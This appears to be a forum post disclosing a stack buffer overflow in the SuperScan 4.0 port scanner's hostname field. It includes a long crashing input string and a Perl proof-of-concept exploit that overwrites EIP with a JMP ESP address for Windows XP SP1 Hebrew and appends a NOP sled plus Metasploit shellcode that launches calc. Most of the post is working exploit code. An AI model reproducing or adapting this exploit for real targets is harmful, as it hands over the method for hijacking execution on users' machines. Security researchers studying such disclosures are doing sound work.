SuperScan 4.0 * Overflow

Hey guys,
i just found an overflow vulnerability in SuperScan 4.0 today.
Im still working on it,but here is the flaw:
HOST->Hostname/Ip/Url:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
(512 Buffer)
Programm will close with:
Access violation when executing [414141]

By changing the size of the 'attack string' you will get another access violation error.
ok it is vulnerable but unusable...
but here is the code(thx skOd) :
#by skOd
#4F2AC373 FFE4 JMP ESP(XP SP1 Hebrew!)

$eip="\x73\xC3\x2A\x4F";

# win32_exec - EXITFUNC=thread CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x40".
"\x3f\x3f\xdb\x83\xeb\xfc\xe2\xf4\xbc\xd7\x7b\xdb\x40\x3f\xb4\x9e".
"\x7c\xb4\x43\xde\x38\x3e\xd0\x50\x0f\x27\xb4\x84\x60\x3e\xd4\x92".
"\xcb\x0b\xb4\xda\xae\x0e\xff\x42\xec\xbb\xff\xaf\x47\xfe\xf5\xd6".
"\x41\xfd\xd4\x2f\x7b\x6b\x1b\xdf\x35\xda\xb4\x84\x64\x3e\xd4\xbd".
"\xcb\x33\x74\x50\x1f\x23\x3e\x30\xcb\x23\xb4\xda\xab\xb6\x63\xff".
"\x44\xfc\x0e\x1b\x24\xb4\x7f\xeb\xc5\xff\x47\xd7\xcb\x7f\x33\x50".
"\x30\x23\x92\x50\x28\x37\xd4\xd2\xcb\xbf\x8f\xdb\x40\x3f\xb4\xb3".
"\x7c\x60\x0e\x2d\x20\x69\xb6\x23\xc3\xff\x44\x8b\x28\xd0\xf1\x3b".
"\x20\x57\xa7\x25\xca\x31\x68\x24\xa7\x5c\x5e\xb7\x23\x3f\x3f\xdb";

$buff=("\x41"x636).$eip.("\x90"x70).$shellcode;

print($buff);